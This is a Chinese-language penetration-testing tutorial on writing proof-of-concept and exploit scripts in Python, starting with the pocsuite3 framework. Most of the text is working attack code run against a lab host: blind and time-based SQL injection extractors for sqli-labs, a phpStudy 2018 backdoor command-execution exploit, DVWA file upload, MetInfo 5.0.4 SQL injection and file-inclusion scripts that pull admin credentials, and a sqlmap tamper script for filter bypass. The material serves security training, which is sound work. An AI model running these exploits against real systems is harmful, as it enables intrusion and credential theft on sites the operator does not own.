python是黑客最喜欢的编程语言之一,但同时go语言正在兴起。
在渗透测试的过程中,为了提高效率,通常需要编写一些小工具,把一系列机械性的手法自动化实现,如SQL注入中的盲注。
区分两个概念:
1、针对某一个(类)漏洞的验证代码,称之为POC,主要用来验证漏洞的存在性。
2、针对某一个漏洞的完整利用程序,称之为EXP,除了验证漏洞的存在性,还能相对完美利用漏洞。
拥有编写号的EXP,再次遇到相同的或相识的目标环境和漏洞,仅需要进行简单的修改就可以直接进行漏洞检查了,大大提高了便利性和效率。
本课程所使用的python版本是3.x。
简介
pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架
项目地址
https://github.com/knownsec/pocsuite3
漏洞测试框架
Pocsuite3 采用 Python3 编写,支持验证,利用 及 shell 三种插件模式,你可以指定单个目标或者从文件导入多个目标,使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。可以使用命令行模式进行调用,也支持类似 Metaspolit 的交互模式进行处理,除此之外,还包含了一些基本的如输出结果报告等功能。(使用方法参考《Pocsuite 使用方法》)
POC/EXP开发包
Pocsuite3 也是一个 PoC/Exp 的 SDK,也就是开发包,我们封装了基础的 PoC 类,以及一些常用的方法,比如 Webshell 的相关方法,基于Pocsuite3 进行 PoC/Exp 的开发,你可以只要编写最核心的漏洞验证部分代码,而不用去关心整体的结果输出等其他一些处理。基于 Pocsuite3 编写的 PoC/Exp 可以直接被 Pocsuite 使用,Seebug网站也有几千个基于pocsuite 的 PoC/Exp。
可被集成模块
Pocsuite3 除了本身具有直接就是一个安全工具除外,也可以作为一个Python包被集成进漏洞测试模块。你还可以基于 Pocsuite3 开发你自己的应用,我们在 Pocsuite3 里封装了可以被其他程序 import 的 PoC 调用类,你可以基于 Pocsuite3 进行二次开发,调用 Pocsuite3 开发您自己的漏洞验证工具。
集成ZoomEye,Seebug,Ceye
Pocsuite3 还集成了 ZoomEye, Seebug, Ceye API,通过该功能,你可以通过 ZoomEye API 批量获取指定条件的测试目标(通过 ZoomEye 的 Dork 进行搜索),同时通过 Seebug API 读取指定组件或者类型的漏洞的 PoC 或者本地 PoC,进行自动化的批量测试。利用Ceye 验证盲打的 DNS 和 HTTP 请求
特性
POC脚本可以运行在attack,verify,shell等模式下
插件化的方式动态加载
可从本地文件,redis,数据库,seebug网站等动态加载POC脚本运行
可通过CIDR,本地文件,redis,数据库,Zoomeye Dork批量加载检测目标
可以自定义结果导出插件方便导出多种格式的检测报告
可动态补丁requests爆,支持多种额外特性
可通过命令行或者python包导入运行
IPV6支持
全局的HTTP/HTTPS/SOCKS代理支持
为POC脚本提供简单爬虫API功能调用
Seebug联动Seebug(从seebug网站搜索和加载PoC脚本)
ZoomEye 联动 ZoomEye (从ZoomEye Dork
批量加载检测目标)
Ceye 联动 Ceye (提供盲打的DNS及HTTP请求验证)
Shodan 联动 Shodan (从Shodan Dork
批量加载检测目标)
监听反向链接的 shell
PoC脚本支持友好的 IDE 动态调试
More …
环境要求
Python 3.4+
Linux, Windows, Mac OSX, BSD
安装
直接pip3安装
pip install pocsuite3
或者直接下载最新的解压
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install
使用方法
pocsuite -h 查看帮助信息
Pocsuite3 有三种运行方法,1、命令行;2、交互式控制台;3、集成调用。
命令行
交互式控制台
类似 Metasploit 的控制台,使用 poc-console
命令进入
集成调用
官方用法文档
初识pocsuite3框架
模板 文件路径
# @File:sqli-labs-8-Boolean_blind.py
'''
http://192.168.8.3/sqli-labs-master/Less-8/?id=1'
'''
import requests, string
# 获取数据长度
def get_database_length(url):
count = 0
while True:
payload = f" and length(database())={count}-- "
response = requests.get(url=url + payload).text
if 'You are in...........' in response:
print(f"[*] The length of database :{count}")
break
# return count
count += 1
return count
# 获取数据库名
def get_database_name(length,url):
database_name = ''
word = string.printable.strip()
# print(length)
for i in range(length):
for j in word:
payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)}-- "
# print(payload)
response = requests.get(url=url + payload).text
if 'You are in...........' in response:
database_name += j
print(f'[+] DataBase:{database_name}')
# return database_name
if __name__ == '__main__':
url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
length = get_database_length(url)
get_database_name(length,url)
# print(database_name)
import requests, string
url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
#获取数据库长度
db_name_len = 0
for i in range(10):
payload = f" and length(database())={i} -- "
if "You are in..........." in requests.get(url=url + payload).text:
db_name_len = i
print(f"[*]The length of database:{db_name_len}")
break
# 获取数据库名
db_name = ""
word = string.printable.strip()
for i in range(db_name_len):
for j in word:
payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)} --+"
if "You are in..........." in requests.get(url=url + payload).text:
db_name += j
print(f"[*]The database is :{db_name}")
break
# # 获取表名长度
table_len = 0
for i in range(200):
payload = f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "
if "You are in..........." in requests.get(url=url + payload).text:
table_len = i
print(f"[*]The length of table:{table_len}")
break
# # 获取表名
table_name = ''
for i in range(table_len):
for j in word:
payload = f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(j)} --+"
if "You are in..........." in requests.get(url=url + payload).text:
table_name += j
print(f"[*]The table_name is :{table_name}")
break
# # 获取字段的长度
column_len = 0
for i in range(200):
payload = f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={i} -- "
if "You are in..........." in requests.get(url=url + payload).text:
column_len = i
print(f"[*]The length of column:{column_len}")
break
#
# # 获取所有的字段
column_name = ''
for i in range(table_len):
for j in word:
payload = f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i + 1},1))={ord(j)} --+"
if "You are in..........." in requests.get(url=url + payload).text:
column_name += j
print(f"[*]The column_name is :{column_name}")
break
#
# # # 获取数据长度
data_len = 0
for i in range(200):
payload = f" and length((select group_concat(username,password) from users))={i} -- "
if "You are in..........." in requests.get(url=url + payload).text:
data_len = i
print(f"[*]The length of data:{data_len}")
break
#
# # # 获取所有的数据
data_name = ''
for i in range(data_len):
for j in word:
payload = f" and ascii(substr((select group_concat(concat(username,0x3a,password)) from users),{i + 1},1))={ord(j)} --+"
if "You are in..........." in requests.get(url=url + payload).text:
data_name += j
print(f"[*]The data_name is :{data_name}")
break
data_len = 0
def get_len(url, sql):
for i in range(200):
payload = f" and length(({sql}))={i} -- "
if "You are in..........." in requests.get(url=url + payload).text:
global data_len
data_len = i
print(f"[*]The length of data:{data_len}")
break
def get_name(url, sql):
word = string.printable.strip()
data_name = ''
for i in range(data_len):
for j in word:
payload = f" and ascii(substr(({sql}),{i + 1},1))={ord(j)} --+"
if "You are in..........." in requests.get(url=url + payload).text:
data_name += j
print(f"[*]The data_ is :{data_name}")
break
if __name__ == '__main__':
url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
# sql = 'select database()' #获取数据库信息
# sql = 'select group_concat(table_name) from information_schema.tables where table_schema=database()' # 获取表信息
# sql = 'select group_concat(column_name) from information_schema.columns where table_schema=database()' # 获取字段
sql = 'select group_concat(concat(username,0x3a,password)) from users' # 获取数据
get_len(url, sql)
get_name(url, sql)
# @File:sqli-labs-9-Delayed injection.py
'''
http://192.168.8.3/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(5),1) --+
'''
import requests, string
def get_timeout(url):
try:
response = requests.get(url=url,timeout=3)
except:
return "timeout"
else:
return response.text
#获取数据库长度
def get_database_length(url):
count = 0
while True:
payload = f" and if(length(database())={count},sleep(6),1) --+"
# print(url + payload)
if 'timeout' in get_timeout(url + payload):
print(f"[*] The length of database :{count}")
break
count += 1
return count
#获取数据库名字
def get_database_name(length,url):
database_name = ''
word = string.printable.strip()
# print(length)
for i in range(length):
for j in word:
payload =f" and if(ascii(substr((select database()), {i+1}, 1))={ord(j)}, sleep(5), 1) -- "
# print(payload)
if 'timeout' in get_timeout(url + payload):
database_name += j
print(f'[+] DataBase:{database_name}')
# return database_name
if __name__ == '__main__':
url = "http://192.168.8.3/sqli-labs-master/Less-9/?id=1'"
length=get_database_length(url)
get_database_name(length,url)
# @File:phpstudy2018-2018_rec.py
import requests
import base64
import random
import string
import argparse
from termcolor import colored
from pyfiglet import Figlet
def attack(url, cmd):
cmd = f"system('{cmd}');"
# print('1',cmd)
base64_cmd = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
"Accept-Encoding": "gzip,deflate",
"Accept-Charset": base64_cmd
}
response = requests.get(url, headers=headers).text
# print('2',response[:response.find(')]
def verify(url):
w = ''
for i in range(10):
w += random.choice(string.ascii_letters)
cmd = f"echo {w}"
# print('3',cmd)
attack(url, cmd)
if w in attack(url, cmd):
print(colored(f"[+] Target {url} vulnerability exists", "green"))
else:
print(colored(f"[-] The target {url} vulnerability does not exist", "red"))
if __name__ == '__main__':
parse = argparse.ArgumentParser()
parse.add_argument('-u', '--url', help="请输入地址", type=str) # 指定参数必须是整型
parse.add_argument("-c", '--command', help='请输入测试命令', type=str) # 指定参数必须是字符串类型
args = parse.parse_args()
if args.url and args.command:
verify(args.url)
print(attack(args.url, args.command))
else:
# 艺术字
f = Figlet(font='slant')
print('=' * 70)
print(f.renderText('phpstudy bd'))
print(' ' * 54, '-- zSong', )
print()
print("\033[34mUsage: python3 *.py -u http://192.168.8.3/phpinfo.php -c whoami\033[0m")
print('=' * 70)
# @File:file_upload.py
import requests
from bs4 import BeautifulSoup
url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'
headers = {
"User-Agent": "",
"Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
}
data = {
"MAX_FILE_SIZE": "100000",
"Upload": "Upload"
}
files = {
"uploaded": ('2.php', '', 'image/png')
}
response = requests.post(url=url, headers=headers, data=data, files=files)
print(response.text)
# 提取上传路径
soup = BeautifulSoup(response.text, 'lxml')
#提取pre标签的文件
pre_content=soup.find_all('pre')[0].text #../../hackable/uploads/2.php succesfully uploaded!
img_path=pre_content.split(' ')[0] #以空格为分割符,去左边第一个,也就是下标为0的
# print(img_path) #../../hackable/uploads/2.php
'''路径拼接'''
img_path=url+img_path
print(img_path)
注入点:http://192.168.8.3/metInfo5.0.4/about/show.php?lang=cn&id=22
漏洞验证
抓包测试
+and+length(database())=2
+and+length(database())>2
页面不出现404.html
,则页面正常
布尔盲注脚本编写
# @File:metinfo_504_sqlinjection.py
import requests, string
'''
/metInfo5.0.4/about/show.php?lang=cn&id=22+and+length(database())>2
'''
import requests, string
# 获取数据长度
def get_length(url):
count = 0
while True:
#获取数据库长度
payload = f" and length((select database()))={count}-- "
#获取表的长度
payload = f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={count}-- "
#获取字段的长度
payload = f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65))={count}-- "
#获取数据的长度
payload = f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={count}-- "
print(url + payload)
response = requests.get(url=url + payload).text
if '404.html' not in response:
print(f"[*] The length of data :{count}")
break
# return count
count += 1
return count
# 获取数据库名
def common():
pass
def get_database_data(length, url):
database_name = ''
word = string.printable.strip()
# print(length)
for i in range(length):
for j in word:
#获取数据库名
payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)}-- "
#获取表名
payload = f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(j)}-- "
#获取字段名
payload = f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65),{i + 1},1))={ord(j)}-- "
#获取管理员数据
payload = f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{i + 1},1))={ord(j)}-- "
response = requests.get(url=url + payload).text
if '404.html' not in response:
database_name += j
print(f'[+] Data:{database_name}')
# return database_name
if __name__ == '__main__':
url = "http://192.168.8.3/metInfo5.0.4/about/show.php?lang=cn&id=22"
length = get_length(url)
get_database_data(length, url)
# print(database_name)
得到密码的md5
值,解码后得到密码admin
文件包含漏洞利用点:/about/index.php?fmodule=7&module=[filePath]
favicon.io
页面有88888
字样,可以利用这一点来验证漏洞是否存在
# @File:file_include.py
import sys
import requests
# 漏洞验证
def verify(url):
payload = "/about/index.php?fmodule=7&module=../favicon.ico"
if '88888888888888' in requests.get(url=url + payload).text:
return '[*] The target has vulnerabilities'
else:
return '[*] There are no vulnerabilities in this target'
# 漏洞利用
def attack(url):
file_path = input('输入文件包含路径[:]')
payload = "/about/index.php?fmodule=7&module=%s"%(file_path)
response = requests.get(url=url + payload).text
print(response)
if __name__ == '__main__':
url = 'http://192.168.8.3/metInfo5.0.4'
if " has vulnerabilities" in verify(url):
attack(url)
else:
exit()
SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。
被过滤字符
字符 | 替代字符 |
---|---|
–+ # | and '1 and 1='1 |
and | anANDd |
or | oORr |
%a0(linux 系统特性) |
?id=1
Hint: Your Input is Filtered with following result: 1
提示:您的输入将被过滤,结果如下:1
?id=2
?id=1'
得出结论:字符型注入,闭合方式单引号
使用--+
注释掉后面的,发现报错,说明--+
没有起到效果
?id=1' and '1
and
被过滤了
可以考虑双写,?id=1' anANDd '1
双写能显示出and,但是空格没有出来,被过滤了
试一下用+
号来代替空格
?id=1'+anANDd+'1
发现+
号被过滤掉了,所以上面的--+
起不到注释的效果就是因为+
号被过滤
尝试使用特殊字符代替空格,网上搜寻
%a0
可以代替
联合查询
?id=1'%a0union%a0select%a01,2,3%a0anandd%a01='1
?id=1'%a0aandnd%a01=2%a0union%a0select%a0database(),version(),3%a0aANDnd%a0'1
使用sqlmap跑一下,-v
参数可以显示注入的payload
python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3
tamper脚本位置在sqlmap/tamper
#sqli-labs-26.py
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
%a0
and anANDd
--+ and '1
or oORr
"""
payload = re.sub(r"(?i)-- "," and 'lili",payload)
payload = re.sub(r"(?i)and","anANDd",payload)
payload = re.sub(r"(?i)or","oORr",payload)
payload = re.sub(r"(?i)\ ","%a0",payload)
return payload
(?i) 正则忽略大小写匹配
验证漏洞
python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3 --tamper sqli-labs-26
获取数据库
python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3 --tamper sqli-labs-26 --dbs